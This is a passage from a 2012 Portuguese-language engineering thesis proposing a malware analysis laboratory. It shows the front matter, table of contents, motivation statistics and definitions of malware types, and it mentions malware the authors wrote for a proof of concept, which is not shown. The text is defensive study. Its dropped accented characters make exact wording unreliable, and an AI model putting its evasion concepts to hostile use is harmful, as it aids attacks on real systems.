Anda di halaman 1dari 110

MINISTRIO DA DEFESA EXRCITO BRASILEIRO DEPARTAMENTO DE CINCIA E TECNOLOGIA INSTITUTO MILITAR DE ENGENHARIA Seo de Engenharia de Computao / SE 8

Luiz de Abreu Henriques Neto Roberto da Costa Lemos Rezende

Proposta de Infraestrutura de um Laboratrio de Anlise de Malware e sua Metodologia

Rio de Janeiro 2012

INSTITUTO MILITAR DE ENGENHARIA

Luiz de Abreu Henriques Neto Roberto da Costa Lemos Rezende

Proposta de Infraestrutura de um Laboratrio de Anlise de Malware e sua Metodologia


Projeto de Fim de Curso de Graduao em Engenharia de Computao como parte integrante do processo avaliativo dos oitavo e nono perodos. Orientador: Claudio Gomes de Mello, D.Sc.

Rio de Janeiro 2012

INSTITUTO MILITAR DE ENGENHARIA Praa General Tibrcio, 80 - Praia Vermelha Rio de Janeiro - RJ CEP: 22290-270

Este exemplar de propriedade do Instituto Militar de Engenharia, que poder inclulo em base de dados, armazenar em computador, micro-lmar ou adotar qualquer forma de arquivamento. So permitidas a meno, reproduo parcial ou integral e a transmisso entre bibliotecas deste trabalho, sem modicao de seu texto, em qualquer meio que esteja ou venha a ser xado, para pesquisa acadmica, comentrios e citaes, desde que sem nalidade comercial e que seja feita a referncia bibliogrca completa. Os conceitos expressos neste trabalho so de responsabilidade dos autores e do orientador.

005.1 H519p

Henriques Neto, Luiz de Abreu Proposta de infraestrutura de um laboratrio de anlise de malware e sua metodologia / Luiz de Abreu Henriques Neto, Roberto da Costa Lemos Rezende; orientado por Claudio Gomes de Mello. - Rio de Janeiro: Instituto Militar de Engenharia, 2012. 110 f. : il. Projeto de Final de Curso (Graduao) - Instituto Militar de Engenharia, 2012 1. Engenharia de Software 2. Vrus 3. Malware - laboratrio de anlise I. Rezende, Roberto da Costa Lemos II. Mello, Claudio Gomes de III. Ttulo IV. Instituto Militar de Engenharia. CDD 005.1

INSTITUTO MILITAR DE ENGENHARIA LUIZ DE ABREU HENRIQUES NETO ROBERTO DA COSTA LEMOS REZENDE PROPOSTA DE INFRAESTRUTURA DE UM LABORATRIO DE ANLISE DE MALWARE E SUA METODOLOGIA

Projeto de Fim de Curso sob o ttulo Proposta de Infraestrutura de um Laboratrio de Anlise de Malware e sua Metodologia, defendido por Luiz de Abreu Henriques Neto e Roberto da Costa Lemos Rezende e aprovado em 14 de junho de 2012 no Rio de Janeiro, Estado do Rio de Janeiro, pelo professor orientador:

Claudio Gomes de Mello - D.Sc.

Anderson F. P. dos Santos - D.Sc.

Julio Cesar Duarte - D.Sc.

Dedicado a todos os engenheiros do mundo, que praticam o ofcio de transformar nossas ambies em realidade. Ofcio esse que tenho orgulho em me preparar para exercer. Dedicado minha famlia e a todos os meus amigos, que felizmente so muitos e se mostraram verdadeiros tanto nos momentos bons quanto nos momentos ruins. impossvel enumerar todos neste espao, mas farei questo de mostrar pessoalmente a cada um. Mas, principalmente, dedicado minha amada me que, infelizmente, no conseguiu ver este projeto concludo em vida. Esse trabalho fruto de nosso esforo conjunto. - Roberto da Costa Lemos Rezende

Agradecimentos
Primeiramente, ao Instituto Militar de Engenharia pela oportunidade de conquistar o direito de estudar nessa casa de excelncia no ensino de Engenharia. Aos nossos companheiros de turma, com quem dividimos as dificuldades deste curso e multiplicamos os conhecimentos nele obtidos. Conhecimentos estes que s pudemos obter com o auxlio de nossos professores, profissionais de ponta, tanto nos campos que se propuseram a ensinar, quanto no ofcio do ensino. Ao nosso orientador, Maj Claudio Gomes de Mello, pela dedicao em nos ensinar e nos guiar, atravs de seu conhecimento e experincia, no caminho correto para tornar este Projeto de Fim de Curso uma realidade com a qualidade que se espera de um profissional da nossa casa. Ao membros de nossa banca, Maj Anderson Fernandes Pereira dos Santos e Maj Julio Cesar Duarte, pelas orientaes e observaes dadas, que contriburam na corretude a na completude desse projeto. Ao Ten Cesar Augusto Borges de Andrade, pelo apoio com materiais de Sandboxes, pela indicao do site virustotal.com e pelo compartilhamento de outros materiais fundamentais para a realizao desse trabalho. Aos profissionais do Laboratrio de Informtica da SE/8, aos quais representamos no nome do Maj David Fernandes Cruz Moura, pelo acesso fornecido ao local a qualquer hora e pela configurao da mquina com as permisses necessrias para se realizar as experincias. Mariana de Farias Marcinichen pela construo e melhoria de imagens utilizadas nesse projeto. A todos os nossos companheiros da turma Computao-2012 do Instituto Militar de Engenharia, que se dispuseram a nos ajudar no teste de nosso cdigo malicioso. E, especialmente, a todos os nossos familiares e amigos, por nos apoiarem em nossas vidas pessoais e entenderem que nem sempre pudemos estar presentes ao longo desses cinco anos, unicamente com o objetivo de tornar nosso sonho realidade. A todos vocs, agradecemos o apoio fornecido para concluir este material.

Sumrio

Lista de Figuras Resumo Abstract 1 Introduo 1.1 1.2 Objetivos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Motivao . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1.2.1 1.2.2 1.2.3 1.2.4 1.3 1.4 Fatos e Nmeros em Destaque Referentes ao Ano de 2010 . . . . . . . A Sosticao das Atividades Maliciosas . . . . . . . . . . . . . . . . Ataques em Redes Sociais . . . . . . . . . . . . . . . . . . . . . . . . Ataques Web e o uso de Vrus Multiplataforma . . . . . . . . . . . . .

x xiii xiv 15 15 15 16 17 17 18 18 19 21 21 23 24 24 28 29 29

Metodologia . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Organizao do Trabalho . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

2 Conceitos 2.1 2.2 2.3 Classicao dos Softwares Maliciosos . . . . . . . . . . . . . . . . . . . . . Estratgias de Replicao de Malwares . . . . . . . . . . . . . . . . . . . . . . Anlise de Malware . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.3.1 2.3.2 Anlise Dinmica . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Anlise Esttica . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

3 Anlise Comportamental 3.1 Preparao do Ambiente . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

3.2 3.3

Mquina Virtual . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Captura do Trfego de Rede . . . . . . . . . . . . . . . . . . . . . . . . . . . 3.3.1 Farejadores ou Sniffers . . . . . . . . . . . . . . . . . . . . . . . . . .

29 30 30 32 33 36 36 36 39 40 40 40 41 42 43 44 44 46 46 47 49 51 53 54 55 55 56

3.4 3.5

Captura de Processos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Captura de Acesso ao Registro e ao Sistema de Arquivos . . . . . . . . . . . .

4 Engenharia Reversa 4.1 Estrutura de Arquivos Executveis . . . . . . . . . . . . . . . . . . . . . . . . 4.1.1 4.1.2 PE - Portable Executable Format (Windows) . . . . . . . . . . . . . . ELF - Executable and Linking Format (Linux) . . . . . . . . . . . . . . 4.1.2.1 4.2 Cdigo do ELF . . . . . . . . . . . . . . . . . . . . . . . . .

Tcnicas para Dicultar a Identicao do Malware . . . . . . . . . . . . . . . 4.2.1 4.2.2 Cryptors . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Vrus Polimrcos . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4.2.2.1 4.2.3 4.2.4 4.2.5 Nveis de Polimorsmo . . . . . . . . . . . . . . . . . . . .

Packers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Joiners . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Ofuscadores . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

4.3

Assembly 32/64 bits do Windows . . . . . . . . . . . . . . . . . . . . . . . . . 4.3.1 4.3.2 4.3.3 Registradores . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Principais Comandos . . . . . . . . . . . . . . . . . . . . . . . . . . . Estruturas de Controle . . . . . . . . . . . . . . . . . . . . . . . . . .

4.4 4.5

API do Windows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Drivers de Windows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4.5.1 Estrutura de um Driver . . . . . . . . . . . . . . . . . . . . . . . . . .

5 Honeypot 5.1 5.2 Tipos de Honeypot . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Nveis de Honeypot . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

5.3

O Projeto Honeynet Global . . . . . . . . . . . . . . . . . . . . . . . . . . . .

56 58 58 59 61 63 66 66 67 69 69 70 75

6 Coletores de Malware 6.1 6.2 6.3 Honeytrap . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . MWCollectd . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Nepenthes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

7 Sandboxes 8 Infraestrutura do Laboratrio de Malware 8.1 8.2 8.3 Estrutura Lgica do Laboratrio . . . . . . . . . . . . . . . . . . . . . . . . . Estrutura Fsica e Softwares do Laboratrio . . . . . . . . . . . . . . . . . . . Metodologia para o Processo de Deteco de Malware . . . . . . . . . . . . . 8.3.1 8.3.2 8.3.3 Metodologia da Anlise Comportamental . . . . . . . . . . . . . . . . Metodologia da Anlise Esttica . . . . . . . . . . . . . . . . . . . . . Determinao da Maliciosidade . . . . . . . . . . . . . . . . . . . . .

9 Estudo de Casos como Prova de Conceito do Uso do Laboratrio de Anlise de Malware 9.1 Artefato 1 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9.1.1 9.1.2 9.1.3 9.1.4 9.2 Anlise Comportamental . . . . . . . . . . . . . . . . . . . . . . . . . Engenharia Reversa . . . . . . . . . . . . . . . . . . . . . . . . . . . . Resultado da Metodologia . . . . . . . . . . . . . . . . . . . . . . . . Resultado do VirusTotal . . . . . . . . . . . . . . . . . . . . . . . . . 76 77 77 80 81 81 82 82 83 84 86 86

Artefato 2 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9.2.1 9.2.2 9.2.3 9.2.4 Anlise Comportamental . . . . . . . . . . . . . . . . . . . . . . . . . Engenharia Reversa . . . . . . . . . . . . . . . . . . . . . . . . . . . . Resultado da Metodologia . . . . . . . . . . . . . . . . . . . . . . . . Resultado do VirusTotal . . . . . . . . . . . . . . . . . . . . . . . . .

9.3

Artefato 3 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

9.3.1 9.3.2 9.3.3 9.3.4 9.4

Anlise Comportamental . . . . . . . . . . . . . . . . . . . . . . . . . Engenharia Reversa . . . . . . . . . . . . . . . . . . . . . . . . . . . . Resultado da Metodologia . . . . . . . . . . . . . . . . . . . . . . . . Resultado do VirusTotal . . . . . . . . . . . . . . . . . . . . . . . . .

86 87 89 89 90 90 90 93 93 93 94 97 98 98 99 100

Artefato 4 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9.4.1 9.4.2 9.4.3 9.4.4 Anlise Comportamental . . . . . . . . . . . . . . . . . . . . . . . . . Engenharia Reversa . . . . . . . . . . . . . . . . . . . . . . . . . . . . Resultado da Metodologia . . . . . . . . . . . . . . . . . . . . . . . . Resultado do VirusTotal . . . . . . . . . . . . . . . . . . . . . . . . .

9.5

Artefato 5 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9.5.1 9.5.2 9.5.3 9.5.4 Anlise Comportamental . . . . . . . . . . . . . . . . . . . . . . . . . Engenharia Reversa . . . . . . . . . . . . . . . . . . . . . . . . . . . . Resultado da Metodologia . . . . . . . . . . . . . . . . . . . . . . . . Resultado do VirusTotal . . . . . . . . . . . . . . . . . . . . . . . . .

10 Concluso Referncias Apndice A -- Cdigo-fonte do malware criado, denominado Windows Live Messenger 2009 Setup Apndice B -- Dados coletados pelo Regshot na anlise do arquivo acer.jpg.exe Apndice C -- Dados coletados pelo Regshot na anlise do arquivo IsDebuggerPresent.exe Apndice D -- Dados coletados pelo Regshot na anlise do arquivo tls.exe

103 106

108 109

Lista de Figuras
1 2 3 4 5 6 7 8 9 10 11 12 13 14 Estrutura do VMI . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Posio da Mquina Virtual para o Sistema Operacional e o Hardware . . . . . Funcionamento de um Sniffer . . . . . . . . . . . . . . . . . . . . . . . . . . . Switched Port Analyzer - SPAN . . . . . . . . . . . . . . . . . . . . . . . . . . Fotograa do Wireshark . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Fotograa do Regshot . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Resultado obtido pelo Regshot . . . . . . . . . . . . . . . . . . . . . . . . . . ProcessMonitor em execuo . . . . . . . . . . . . . . . . . . . . . . . . . . . Estrutura do padro ELF . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Decifrao no momento da execuo . . . . . . . . . . . . . . . . . . . . . . . Malware decifrado . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Criao e execuo de arquivos comprimidos ou encriptados . . . . . . . . . . Exemplos de Packers e de seus respectivos Unpackers . . . . . . . . . . . . . . Exemplo de cdigo original e seu respectivo cdigo ofuscado com o software Free Javascript Obfuscator (INC., 2010) . . . . . . . . . . . . . . . . . . . . . 15 16 17 18 19 20 21 22 Cdigo ofuscado que fez parte do IOCCC (IOCCC, 2012) . . . . . . . . . . . . Estrutura de compatibilidade dos registradores . . . . . . . . . . . . . . . . . . Lista de comandos de salto em Assembly . . . . . . . . . . . . . . . . . . . . . Exemplo de cdigo em linguagem de mquina do Ol, Mundo . . . . . . . . Driver como intermedirio entre um dispositivo e o computador . . . . . . . . . Estrutura de um driver de udio (RIETHMULLER, 2003) . . . . . . . . . . . . . Localizao dos Honeypots no territrio brasileiro . . . . . . . . . . . . . . . . MWCollectd sendo utilizado . . . . . . . . . . . . . . . . . . . . . . . . . . . 45 46 47 49 51 54 54 57 60 25 30 31 31 32 33 34 35 39 41 41 43 43

23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49

Arquitetura do Nepenthes (BAECHER et al., 2006) . . . . . . . . . . . . . . . . . Passos da Anlise de Malware . . . . . . . . . . . . . . . . . . . . . . . . . . Como um Sandbox se encaixa na Anlise . . . . . . . . . . . . . . . . . . . . Projeto de Laboratrio de Malware . . . . . . . . . . . . . . . . . . . . . . . . Buster em Execuo . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Exemplo de grco de chamadas . . . . . . . . . . . . . . . . . . . . . . . . . Exemplo de grco de uxo de controle . . . . . . . . . . . . . . . . . . . . . Arquivo acer.jpg.exe oculto em sua pasta. . . . . . . . . . . . . . . . . . . . Potenciais processos maliciosos para o Process Explorer . . . . . . . . . . . . Arquivo recm-executado . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Arquivo um tempo depois de ser executado . . . . . . . . . . . . . . . . . . . Lista de funes importadas do acer.jpg.exe . . . . . . . . . . . . . . . . . . Lista de nomes do acer.jpg.exe . . . . . . . . . . . . . . . . . . . . . . . . . Estatsticas do artefato 1 geradas no VrusTotal . . . . . . . . . . . . . . . . . Execuo Inicial de isDebuggerPresent.exe . . . . . . . . . . . . . . . . . . Execuo do Process Explorer aps a execuo do Artefato 2 . . . . . . . . . . Execuo de isDebuggerPresent.exe no interior do IDA Pro . . . . . . . . . . Lista de strings de isDebuggerPresent.exe . . . . . . . . . . . . . . . . . . . Trecho extrado do grco de uxo de controle do isDebuggerPresent.exe . . Informaes sobre o compilador do isDebuggerPresent.exe . . . . . . . . . . Estatsticas do artefato 2 geradas no VrusTotal . . . . . . . . . . . . . . . . . Execuo Inicial de tls.exe . . . . . . . . . . . . . . . . . . . . . . . . . . . Execuo do Process Explorer aps a execuo do Artefato 3 . . . . . . . . . . Bibliotecas carregadas antes da execuo da primeira instruo de tls.exe . Trecho de cdigo que representa a funo de callback do tls.exe . . . . . . . Trecho extrado da lista de strings que mostra o compilador do tls.exe . . . . Estatsticas do artefato 3 geradas no VrusTotal . . . . . . . . . . . . . . . . .

61 63 64 66 68 72 72 77 78 78 79 80 81 81 82 83 83 84 85 85 86 86 87 88 88 89 89

50 51 52 53 54 55 56 57 58 59 60 61

Lista de Strings do nopack . . . . . . . . . . . . . . . . . . . . . . . . . . . Lista de Funes Importadas do nopack . . . . . . . . . . . . . . . . . . . . Parte do Grafo de Fluxo de Controle do nopack . . . . . . . . . . . . . . . . Resultado coletado do site http://www.malwaregroup.com/ . . . . . . . . . . Resultado coletado do site http://www.mywot.com/ . . . . . . . . . . . . . . Estatsticas do artefato 4 geradas no VrusTotal . . . . . . . . . . . . . . . . . Instalador em execuo . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Sistema incapaz de iniciar aps execuo do artefato . . . . . . . . . . . . . . Fotograa do Process Explorer em execuo . . . . . . . . . . . . . . . . . . . Chrome incapaz de executar . . . . . . . . . . . . . . . . . . . . . . . . . . . Estatsticas do artefato 5 geradas no VrusTotal . . . . . . . . . . . . . . . . . Kaspersky, o nico antivrus que o identicou como malware . . . . . . . . . .

90 91 92 92 92 93 94 95 95 96 98 98

Resumo
Este trabalho consiste na infraestrutura de um laboratrio de anlise de malwares, com a descrio dos processos, mtodos e ferramentas necessrias. O processo de deteco de malwares descrito passo-a-passo, utilizando-se de tcnicas de anlise dinmica e esttica. Como prova de conceito, so feitas anlises de malwares com os mtodos e ferramentas descritas nesse trabalho, assim como desenvolvido um cdigo-fonte de malware para ilustrar como a implantao de um laboratrio de anlise de malwares pode ser usado como elemento essencial na Guerra Ciberntica.

Abstract
This work consists of the infrastructure of a laboratory of malware analysis, describing the necessary processes, methods and tools. The malware detection process is described step by step, using the techniques of static and dynamic analysis. As proof of concept, malware analyzes are made with the methods and tools described in this work, as well as a malware source code is developed to illustrate how the implementation of a laboratory of malware analysis can be used as an essential element in the Cyber War.

15

Introduo

Os malwares, ou softwares maliciosos, maiores pragas do mundo virtual, esto cada vez mais complexos e furtivos. Em um mundo no qual a Internet j faz parte da vida das pessoas e das organizaes, a existncia de prossionais capacitados para atuar contra esses programas maliciosos e prover segurana aos utilizadores de qualquer servio Web se tornou necessria. Mas no adianta apenas existir o prossional capacitado, se esse no possuir um ambiente com todas as ferramentas necessrias para que ele possa colocar em prtica seu conhecimento e analisar de forma completa e correta as mais diversicadas pragas virtuais. Partindo desse contexto, este trabalho descreve detalhadamente quais so e como utilizar todas as ferramentas necessrias e sucientes de um laboratrio especializado em anlise de softwares maliciosos. Alm do supracitado, tambm se encontra no trabalho a descrio da metodologia do processo de deteco de malwares, utilizando-se de tcnicas de anlise dinmica e esttica.

1.1

Objetivos
Desenvolver uma infraestrutura de laboratrio especializado em anlise de malware, des-

crevendo em detalhes quais so processos, mtodos e ferramentas necessrios e sucientes para sua montagem, desenvolver uma metodologia, utilizando-se de tcnicas de anlise dinmica e esttica de arquivo, para a deteco de malware e desenvolver cdigo-fonte e realizar seu estudo de caso como prova de conceito.

1.2

Motivao
Atualmente, com o grande crescimento e popularizao de servios eletrnicos como o

uso de e-mail e sites Web, cresceram tambm as ameaas virtuais como vrus, worms e outros agentes de software malicioso. Torna-se necessrio ento criar um conhecimento avanado sobre essas categorias de software para que possamos evitar fraudes, invases e at mesmo estarmos preparados para uma Guerra Ciberntica.

16

Anualmente, grandes empresas de produo de softwares contra arquivos maliciosos, como a Symantec, produzem relatrios com o estudo sobre as tendncias e desenvolvimento do mundo das ameaas online. A existncia desses documentos de extrema importncia para a prpria rea de defesa, j que mostra a evoluo dos ataques e em qual setor as empresas devem focar seus estudos no intuito de combat-los. A anlise do Symantec Internet Security Threat Report (FOSSI et al., 2011) - Relatrio de Ameaas Segurana da Internet - produzido pela Symantec, volume 16, cujos dados so relativos ao ano de 2010, foi resumida nas prximas subsees.

1.2.1

Fatos e Nmeros em Destaque Referentes ao Ano de 2010

Foram criadas 286 milhes de novas ameaas. Novos mecanismos de disparo, como as ferramentas para ataques Web, continuam a elevar o nmero de diferentes programas de malware. Ocorreu um aumento de 93% nos ataques baseados na Web, gerado, principalmente, pelas ferramentas para ataques Web. O uso de URLs encurtadas tambm contribuiu para isso. O nmero mdio de identidades expostas por violao de dados causadas por hackers foi de 260.000. Foram descobertas 14 novas vulnerabilidades zero-day, ou seja, aquela que desconhecida at pelo prprio desenvolvedor. As vulnerabilidades zero-day desempenharam um papel fundamental nos ataques direcionados, incluindo o Hydraq e o Stuxnet. Apenas o Stuxnet utilizou quatro diferentes vulnerabilidades zero-day. Foram documentadas 6.253 novas vulnerabilidades, mais do que em qualquer perodo anterior. Como um sinal de que os cibercriminosos esto comeando a concentrar seus esforos no universo mvel, o nmero de novas vulnerabilidades encontradas em sistemas operacionais mveis aumentou de 115 em 2009 para 163 em 2010. Contudo, relata que, em 2011, os nmeros devem ser ainda maiores, uma vez que, s nos primeiros meses, dezenas de centenas de equipamentos foram infectados por cdigos maliciosos. O risco a que esto expostos os dispositivos mveis faz com que, atualmente, cerca de 47% das empresas admitam que no conseguem gerenciar, de forma adequada, os riscos trazidos por esses equipamentos (smartphones, tablets, notebooks, entre outros). A Rustock, maior botnet1 observada em 2010, teve durante o ano mais de um milho
Uma botnet uma coleo de agentes de software ou bots que executam autonomamente e automaticamente. O termo geralmente associado com o uso de software malicioso, mas tambm pode se referir a uma rede de computadores utilizando software de computao distribuda.
1

17

de bots sob seu controle a partir de um nico ponto. Outras botnets, como Grum e Cutwail, apresentaram muitas centenas de milhares de bots cada. Quase trs quartos de todo o spam em 2010 estava relacionado a produtos farmacuticos grande parte disso estava associado a sites farmacuticos e marcas ans. A Symantec identicou um anncio que oferecia 10 mil computadores infectados por bots por US$15 em um frum secreto em 2010. Os bots so normalmente usados para spam, mas so cada vez mais usados tambm para ataques DDoS (ataque de negao de servio). O preo cobrado por informaes de carto de crdito em fruns secretos variou amplamente em 2010. Entre os fatores que ditaram os preos esto a raridade do carto e os descontos oferecidos para compras em volume. Como estatstica, 17% de todo o spam botnets detectado mundialmente pela Symantec foi originado da Amrica Latina.

1.2.2

A Sosticao das Atividades Maliciosas

Alm do supracitado, foi bastante grifado o crescimento substancial da sosticao das atividades maliciosas em 2010. Um vrus conhecido como Stuxnet tornou-se o primeiro pedao de cdigo habilitado a afetar dispositivos fsicos enquanto, simultaneamente, realiza o ataque utilizando-se de um nmero sem precedentes de vulnerabilidades zero-day. Mesmo sendo muito improvvel que vrus como o Stuxnet se tornem comuns dada a imensa quantidade de recursos requeridos para sua criao, ele mostra o que um grupo qualicado e organizado de pessoas pode realizar.

1.2.3

Ataques em Redes Sociais

As plataformas de redes sociais continuam a crescer em popularidade e no surpreendentemente atraram um grande volume de malwares. Uma das principais tcnicas de ataque usada em sites de redes de relacionamento envolve o uso de URLs encurtadas. Em circunstncias tpicas e legtimas, essas URLs abreviadas so usadas para compartilhar de forma eciente um link em um e-mail ou em uma pgina da web quando o endereo web original extenso. No ano passado, os cibercriminosos publicaram milhes de links encurtados em sites de redes sociais para enganar as vtimas de ataques, aumentando drasticamente a taxa de infeco bem-sucedida. O relatrio identicou que os cibercriminosos utilizaram as ferramentas de feed de notcias

18

fornecidas por sites de redes sociais populares para disparar ataques em massa. Em um cenrio tpico, o criminoso se registra em uma conta de rede social comprometida e publica um link encurtado para um site malicioso na rea de status da vtima. O site da rede social, em seguida, distribui automaticamente o link para os amigos da vtima, potencialmente espalhando o link para centenas ou milhares de contatos em minutos. No ano passado, 65% dos links maliciosos em feeds de notcias observados pela Symantec usaram URLs encurtados. Destes, 73% foram clicados 11 vezes ou mais, com 33% recebendo entre 11 e 50 cliques.

1.2.4

Ataques Web e o uso de Vrus Multiplataforma

Em 2010, os toolkits2 para ataques continuaram a ter uso disseminado. Cada vez mais esses kits tm como alvo as vulnerabilidades do popular sistema Java, que representaram 17% de todas as vulnerabilidades que afetaram plug-ins de navegador em 2010. Como uma tecnologia popular, disponvel para mltiplos navegadores e multiplataforma, a linguagem de programao Java um alvo atraente para os cibercriminosos. O toolkit Phoenix foi o responsvel pela maior atividade de ataques baseados na Web em 2010. Esse kit incorpora meios para explorar as vulnerabilidades do Java, assim como o sexto ataque baseado na Web com a mais alta classicao durante o perodo de anlise do relatrio. Esses dados mostram o porqu da Guerra Ciberntica - uso de computadores e da Internet para a guerra de informaes - ter recebido constante destaque nos mais diversos congressos nacionais e internacionais, como na ltima edio da Estratgia Nacional de Defesa (20082011). Sua importncia levou criao do Centro de Defesa Ciberntica (CDCiber) em 2010.

1.3

Metodologia
Para o correto entendimento do contedo do trabalho, realizado, inicialmente, um estudo

conceitual em cima do termo malware. Entender suas classicao e replicao um dos objetivos desse estudo. Tendo posse dos conhecimentos conceituais, so introduzidas as tcnicas de anlise de arquivo (dinmica e esttica). Elas so necessrias para a correta identicao de um malware, ou seja, para, ao analisar-se um arquivo, saber dizer se trata-se de um cdigo malicioso ou no. Em seguida, so descritas, em detalhes, quais so e como utilizar as demais ferramenOs toolkits so programas que podem ser usados por principiantes e especialistas para facilitar o disparo de ataques generalizados em redes de computadores.
2

19

tas necessrias e sucientes para a montagem de um laboratrio especializado em anlise de malware, partindo de mquinas Honeypots a Sandboxes. Com o conhecimento adquirido, denido uma infraestrutura de laboratrio de anlise de malware, listando seus processos, mtodos e ferramentas e uma metodologia para o processo de deteco de malwares, utilizando-se de tcnicas de anlise dinmica e esttica. Por m, realizado o estudo de softwares - sendo que um dos cdigos-fonte maliciosos estudados foi desenvolvido no trabalho - como prova de conceito do uso do laboratrio de anlise de malware.

1.4

Organizao do Trabalho
O primeiro captulo apresenta uma breve introduo do trabalho, contendo os objetivos, a

motivao, a metodologia e a organizao do projeto. O segundo captulo dene conceitos fundamentais e a linguagem utilizada pelo prossional especialista em malwares. Explica o que um vrus, um verme, um cavalo-de-troia, dentre outros tipos de malwares e qual a diferena entre eles. Tambm explicita as principais tcnicas de replicao de malwares, como acesso ao sistema de arquivos e aos registros do sistema. O terceiro captulo dene detalhadamente a Anlise Comportamental, mostra como o ambiente deve ser preparado para uma anlise correta e segura e como so realizadas as capturas de trfego na rede, processos e acessos ao registro e ao sistema de arquivos. O quarto captulo dene detalhadamente a Engenharia Reversa, mostra a estrutura dos arquivos executveis, ferramentas para que possa ser feita essa anlise e algumas tcnicas comumente utilizadas para esconder o cdigo malicioso do analisador. O quinto captulo apresenta o Honeypot, mquina utilizada para capturar pragas virtuais, detalhando seus tipos, nveis e o Projeto Honeynet Global. O sexto captulo mostra os principais softwares utilizados para a coleta de malwares, muito utilizados nos Honeypots. O stimo captulo apresenta os Sandboxes, espaos virtuais nos quais todas as alteraes em arquivos, conguraes e downloads efetuados so interceptadas e um relatrio das interaes gerado. O oitavo captulo dene uma infraestrutura de laboratrio de malware, listando seus processos, mtodos e ferramentas e a metodologia do processo de deteco de malwares, utilizandose de tcnicas de anlise dinmica e esttica.

20

O nono captulo contm o estudo de casos como prova de conceito do uso do laboratrio de anlise de malware, os quais consistem da aplicao direta da metodologia no intuito de identicar se um software malicioso ou no. No dcimo captulo, realizada a concluso do trabalho, na qual so explicitados quais foram os resultados alcanados, se os objetivos iniciais foram cumpridos e sugestes de trabalhos futuros.

21

Conceitos

Para um melhor entendimento do contedo do presente trabalho, importante ter conhecimento de alguns conceitos, os quais sero abordados nas subsees abaixo.

2.1

Classicao dos Softwares Maliciosos


O termo Malware, ou Malicious Software, diz respeito a qualquer programa desenvolvido

com o intuito de causar algum tipo de dano a um computador, rede ou sistema. De acordo com a maneira que executado, como se replica e o que faz, o malware pode ser classicado em: Vrus Utilizam vrios tipos de hospedeiros. No incio, residiam em arquivos executveis e em setores de boot de disquetes. Com o passar do tempo, contaminaram documentos com macros em scripts e, atualmente, se encontram em anexos de e-mail. Nos arquivos executveis, o vrus caracterizado por uma poro de cdigo unida ao cdigo original que executada juntamente com o aplicativo. De modo geral, o programa hospedeiro mantm seu funcionamento normal, o que facilita a propagao. Em outros casos, passa a ter um funcionamento anmalo. A propagao dos vrus dada pela transferncia do programa hospedeiro a outros computadores. Verme (Worm) Semelhantes aos vrus, porm no dependem de hospedeiros para se replicarem. Modicam a operao do sistema operacional do computador infectado para serem inicializados no processo de boot. Para a sua propagao, os vermes exploram vulnerabilidades do sistema alvo ou usam algum tipo de engenharia social, como mandar e-mail cujo contedo seja de interesse por parte da vtima, para faz-la acionar a sua execuo.

22

Wabbit Caracteriza-se por sua grande ecincia em se auto-replicar1 , fazendo isso repetidamente no computador, causando danos pelo consumo de recursos. No utiliza nenhum tipo de hospedeiro (programa ou arquivo) e tambm no usam redes para sua propagao. Um exemplo clssico de Wabbit o fork bomb, o qual leva em considerao que o nmero de processos e programas que podem ser executados simultaneamente em um computador tem um limite. Ele cria um grande nmero de processos, satura os recursos do sistema e inviabiliza seu uso. Cavalo de Troia (Trojan) Programa malicioso que se disfara de programa legtimo. Os cavalos de troia so espalhados anexados a programas teis, sem poder de auto-replicao. Eles podem portar outros softwares maliciosos em uma variante chamada de dropper, como vrus e vermes. Backdoor Permite o acesso a um computador sem os procedimentos normais de autenticao. Existem dois tipos de backdoors: os primeiros so inseridos manualmente no cdigo de um software hospedeiro e so divulgados na medida em que o programa instalado. O segundo tem um comportamento semelhante aos vermes, integram o processo de inicializao do equipamento e se espalham transportados pelas pragas virtuais. Ratware Trata-se de um backdoor que faz com que o sistema infectado que enviando spams. Spyware Coletam e enviam informaes do computador infectado, como padres de navegao ou at mesmo nmeros de carto de crdito, sem noticar o usurio. Sua propagao semelhante a dos Cavalos de Troia. Rootkit um tipo de arquivo malicioso cuja principal inteno se camuar, impedindo que seu cdigo seja encontrado por qualquer antivrus. Isto possvel por que estas aplicaes tm a capacidade de interceptar as solicitaes feitas ao sistema operacional, podendo alterar o seu resultado. Quando um rootkit bem elaborado, torna-se difcil sua identicao, porquanto atua em nvel de Kernel para ocultar sua presena. Dessa 